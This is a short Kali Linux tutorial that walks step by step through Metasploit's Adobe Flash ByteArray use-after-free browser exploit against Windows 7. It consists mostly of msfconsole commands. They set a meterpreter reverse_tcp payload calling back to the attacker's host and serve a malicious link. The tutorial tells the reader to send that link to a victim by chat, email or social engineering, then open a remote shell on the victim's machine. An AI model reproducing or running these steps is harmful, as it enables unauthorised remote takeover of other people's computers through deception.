Kali Linux, Penetration Testing

Exploit Remote PC using Adobe Flash Player Byte Array with Workers Use after Free

This module exploits an use after free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, who can fill the memory and notify the main thread to corrupt the new contents. This module has been tested successfully on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.

Exploit Targets

Windows 7

Flash 16.0.0.296.

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/browser/adobe_flash_worker_byte_array_uaf

msf exploit (adobe_flash_worker_byte_array_uaf)>set payload windows/meterpreter/reverse_tcp

msf exploit (adobe_flash_worker_byte_array_uaf)>set lhost 192.168.1.11 (IP of Local Host)

msf exploit (adobe_flash_worker_byte_array_uaf)>set srvhost 192.168.1.11

msf exploit (adobe_flash_worker_byte_array_uaf)>set uripath /

msf exploit (adobe_flash_worker_byte_array_uaf)>exploit 

Now an URL you should give to your victim http://192.168.1.11:8080

Send the link of the server to the victim via chat or email or any social engineering technique

Now when the victim opens the following link (http://192.168.1.11:8080) a session will be opened as shown below

Now type session –l to display sessions opened when the victim opens the link

Now the session has opened  type sysinfo to get system information, then type shell to enter into

Victims command prompt.